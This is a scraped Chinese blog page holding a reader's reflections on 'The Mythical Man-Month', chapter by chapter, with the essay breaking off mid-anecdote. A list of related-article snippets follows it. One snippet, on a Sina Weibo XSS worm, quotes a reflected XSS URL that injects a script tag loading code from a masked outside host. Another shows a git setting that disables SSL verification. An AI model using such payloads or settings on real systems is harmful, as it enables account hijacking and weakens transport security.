《人月神话》观后感

     1.外科手术队伍
    项目经理在项目的初期必须清楚的估计项目的人月运作模式(时间、人力在项目各阶段的分配),例如什么时候需要出什么样成果,决定了什么时候需要什么样的人加入项目,这是项目经理的责任。
    2.贵族专制

 要获得概念的完整性,设计必须由一个人或具有共识的小组来完成。
      3.画蛇添足

    讲述的基本都是基于IBM 360操作系统以及编译程序等方面的经验,讲述如何避免开发第二个系统的风险,作者认为开发第二个系统的设计师设计出来的系统是最危险的,因此要求他们自律。
    4.贯彻执行
    印象比较深刻的是"体系结构设计人员必须为自己描述的任何特性准备一种实现方法,但他不应该支配具体的实现过程。"
    5.为什么巴比伦塔会失败

    讲述巴比伦塔会失败的原因是缺乏交流。
    6.胸有成竹

    主要讲述如何计算编程时间,以及提出几个人的经验算法。
    讲述的各种算法可能都不太适合与现在的高级语言,但Portman的观点仍然适合现在,即编程人员实际的编程时间只有50%,其他的时间都花在了无关的琐碎事情上。
    7.削足适履

    主要讲述程序占用的空间等,在70年代比较突出,但现在好多了。
    8.提纲擎领

    说明文档的作用
    9.未雨绸缪

    唯一不变的是变化本身。
    在大型项目中,项目经理需要有两个和三个顶级程序员作为技术轻骑兵,当工作繁忙最密集的时候,他们能急驰飞奔,解决各种问题。 讲述技术人员与项目人员的互换是,对我有一定的提示,但图中IBM的两条职位晋升线,不太理解。
    10.干将莫邪

    主要讲述项目中管理好各种工具的重要性,项目经理首先要制定一种策略,让各种工具成为公用的工具,这样才能使开发、维护和使用这种工具的开发人员的效率更高,这种工具可能是开发人员开发出来的,也可能是使用现有的,可能是通用的,也可能是专用的或个人偏好的。比如:文档编写工具、开发工具(包括各种不同开发平台)、调试工具、测试工具、数据库工具、版本管理、项目管理工具等。
    11.整体部分

    一读这一章,就让我感触颇深,特别是这句话"BELL实验室监控系统项目的V.A.Vyssotsky提出,'关键的工作是产品定义。许许多多的失败完全源于那些产品未精确定义的地方',细致的功能定义,详细的规格说明,规范话的功能描述说明以及这些方法的实施,大大减少了系统中必须查找的BUG数量"。虽然这句话的意思只是说明精确定义产品将减少BUG的数量,但我看到了系统分析的最重要的工作——产品定义。现在,许多 开发人员嘴里口口声声说也做过需求调研、系统分析、系统设计,但大多数没有涉及到产品定义的深度,严格意义上不能叫做系统分析。这句话对我的以后想从事系统分析工作有很大的帮助。
      12.祸起萧墙

    这章节说明使项目进度拖后的最大原因不是重要的事件,如新技术、重组等,而是一些琐碎的小事,每件小事只耽误半天或一天时间,但这种小事多以后,将使项目的进度严重拖后。
    项目对于公司就如程序对测试工程师一样,如果不了解它,它就是一个黑盒子,如果不打开这个黑盒子,你可能永远不知道盒子里面有什么。这部分描写项目经理以及小组主管的一些心理,值得一看。
    13.另外一面

    本章说明程序的另一面——文档。
    不了解,就无法真正拥有——歌德,作者引用的歌德的话来描述文档对客户的重要性,提出客户需要什么样的文档以及文档的格式和包含的内容,指出当时存在的大多数文档只描述了树木,形容了树叶,但没有整个森林的图案。
    想想,这种情况在现在仍然没有改变。于是作者提出了两个观点:
    1.流程图:流程图是被吹捧得最过分的一种程序文档。许多程序甚至不需要流程图,很少程序需要一页以上的流程图
    2.自文档化的程序:提出文档与程序合为一体,能很好的解决文档与程序分开造成的文档过时的问题,并说明了在程序中加入文档的一些方法和技巧。2002年,我看到一位网友关于文档与程序合一的文章,当时就觉得是个好方法,没想到70年代,老美已经提出来了。
    14.没有银弹-软件工程中的根本和次要问题

    这是一篇论文,发表于1986年,我自认为我的理论水平没有上升到可以对他的论点和论据做出怀疑或质疑的结论,我只是说说我的感想。
    人狼是传说中的妖怪,只有银弹才能杀死他。作者认为软件项目具有人狼的特性,因为软件项目也可能变成一个怪物,一个落后进度、超出预算、存在大量缺陷的怪物。作者通过软件系统的内在特性复杂性、一致性、可变性和不可见性来分析说明了软件天生就没有银弹。
    作者试图通过分析软件问题的本质和很多侯选银弹的特征来探究其中的原因。他行动的第一步是将大块的“巨无霸理论”替换成“微生物理论”。这个变化的过程告诉你,进步是逐步取得的,伴随着辛勤的劳动,对规范化过程应
    进行持续不懈的努力,而这个努力的过程相应的就诞生了软件工程。作者对软件工程诞生的原因做出这样的解释,我觉得符合外国思维的特点,这正是国人所缺乏。记得有一位朋友说过,中国妈妈与德国妈妈的区别,他说,如果手里拿的针掉到地上了,中国妈妈的第一反应是估计针掉下去的范围,然后在这个范围里面找,可能很快就找到了,也可能一直都找不到;但德国妈妈不同,她会拿一根粉笔来,把整个屋子画成一个大圈,接着把大圈分成许许多多的小圈,然后再到每个小圈里找,虽然比较慢,但最终肯定可以找到。仔细想象,大多数情况下,中国妈妈都会找到得比较快,这确实符合大多数中国妈妈的思维习惯,每个中国妈妈都这样找,这好象是与生俱来的本事,但为什么德国妈妈没有这个本事呢?是德国妈妈笨吗?为什么中国妈妈也有找不到的情况?而德国妈妈,虽然速度慢了点,却始终能够找得到?如果把这件故事推而广之,多年以后,德国妈妈创建了找针工程,她通过多次找针的实验数据,分析出针掉到整个房间中各个小圈的概率,总结出针在哪个小圈的概率最大,很快就可以找到针,找针速度早已高过中国妈妈,而中国妈妈还在依循与生俱来的本事。你能说德国妈妈笨吗?为什么中国妈妈和德国妈妈会有这么大的区别?是德国妈妈把大块的“巨无霸理论”替换成“微生物理论”吗?我觉得是是,你说呢?作者在后面的论述中用数学和物理的发展为例子也说明了,这种思想的成立。
    余下的作者把软件工程按“巨无霸理论”替换成“微生物理论”的过程详细的说明,值得看,我关注的不是具体的内容,具体内容可能有些不合适宜,我关注的是作者的思考方式以及处理方法,这是非常重要的。
    在“以往解决次要困难的一些突破”和“银弹的希望”章节,从概念上讲述了软件的发展,其中讲到“专家系统”时,使我想起一部科幻电影,忘了电影名字了,有个情节大致是这样的,一位非常有经验的主管死后,有一名较优 秀的下属接任,但这时出现了一位非常厉害的敌人,这位新主管无论如何也战胜不了敌人,这时想起了以前的主管,心想前主管一定有办法对付这个敌人,而前主管的大脑就存放在系统里,

转载于:https://www.cnblogs.com/jump/p/4298518.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460466.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第二季5:配置视频捕获模块(step3:VI模块)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“配置视频捕获模块”。 分析方法上,我们首先介绍VI模块相关的宽动态、设备、通道等概念,然后…

git 代理设置

git 代理设置: git config --global http.proxy http://proxy.com:8080git config --global https.proxy http://proxy.com:8080git config --global http.sslverify false 转载于:https://www.cnblogs.com/lizhanglong/p/3642152.html

简化Java中的异常处理

为什么80%的码农都做不了架构师?>>> #1. 不需要Checked异常 Java中的Checked异常,可以说有弊无利,它除了能带来一系列的麻烦,能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先,当一个方法声明抛出一…

Linux常用命令之wget

wget:从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

MySQL的timestamp字段可以使用的范围是多少

还是之前工作中遇到的一个小问题。我在做一个收据采集的程序,需要记录起始时间和结束时间,在数据库中是用timestamp字段来保存的,有些情况下不存在起始时间,此时就需要设置一个默认的起始时间,当初想着是使用timestamp…

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

js new

如果一个函数前面带上new来调用该函数&#xff0c;那么将创建一个隐藏连接到该函数的prototype成员的新对象&#xff0c;同时this将被绑定到那个新对象上 即&#xff1a; function B(){} var anew B(); 类似于 function B(){} var a{}; a.__proto__B.prototype; B.call(a); 转载…

第二季8:保存编码得到的码流(step6:Save to File)

以下内容源于朱有鹏嵌入式课程的学习与整理&#xff0c;如有侵权请告知删除。 前言 本文将详细介绍博文第二季3&#xff1a;sample_venc.c的整体分析提及的“ 保存编码得到的码流 ”。 即把编码得到的三路码流&#xff08;三路码流都是H264格式的&#xff0c;只是分辨率不同…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

关于 ioctl 的 FIONREAD 參数

ioctl 是用来设置硬件控制寄存器&#xff0c;或者读取硬件状态寄存器的数值之类的。而read,write 是把数据丢入缓冲区&#xff0c;硬件的驱动从缓冲区读取数据一个个发送或者把接收的数据送入缓冲区。 ioctl(keyFd, FIONREAD, &b) 得到缓冲区里有多少字节要被读取&#xff…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

memset函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memset(void *s, int c, size_t n); 函数作用&#xff1a;将指针s所指向的内存的前n个字节的内容设置为c。 补充说明&#xff1a;用于初始化新申请的内存&#xff0c;它是对较大结构体或数…

快速切換手機版網頁語法

今天臨時接到一通電話&#xff0c;客戶的官方網站使用手機瀏覽時突然無法跳轉到手機版網頁&#xff0c;情急之下在五分鐘內拼出了Java Script 跳轉語法&#xff0c;加入在網頁內並成功讓手機用戶跳轉成功。 我想對於一般中小型企業來說&#xff0c;應該也是夠用的。 ▼ 一般用法…

memcpy函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memcpy(void *dest, const void *src, size_t n); 函数作用&#xff1a;将指针src所指向的内存的前n个字节&#xff0c;复制到指针dest所指向的内存中。 补充说明&#xff1a;dest和src所…

mysqldump 使用备忘

语法 导出所有数据库&#xff1a; mysqldump -u root -p -A > backupfile.sql导出指定数据库&#xff1a; mysqldump -u root -p -B dbName1 dbName2 > backupfile.sql导出指定表&#xff1a; mysqldump -u root -p -B dbName tableName1 tableName2 > backupfile.sql…

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…